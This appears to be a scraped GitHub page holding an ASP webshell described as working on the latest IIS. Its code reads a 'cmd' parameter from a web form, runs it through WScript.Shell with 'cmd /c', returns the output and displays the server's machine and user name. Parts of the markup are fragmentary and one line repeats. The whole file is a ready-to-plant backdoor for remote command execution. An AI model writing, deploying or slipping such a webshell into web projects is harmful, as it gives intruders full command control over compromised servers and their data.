Skip to content
Branch: master
Find file Copy path
Find file Copy path
1 contributor

Users who have contributed to this file

51 lines (46 sloc) 1.33 KB
ASP Webshell
Working on latest IIS
Referance :-
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<b>The server's port:</b>
<b>The server's software:</b>
<b>The server's software:</b>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
You can’t perform that action at this time.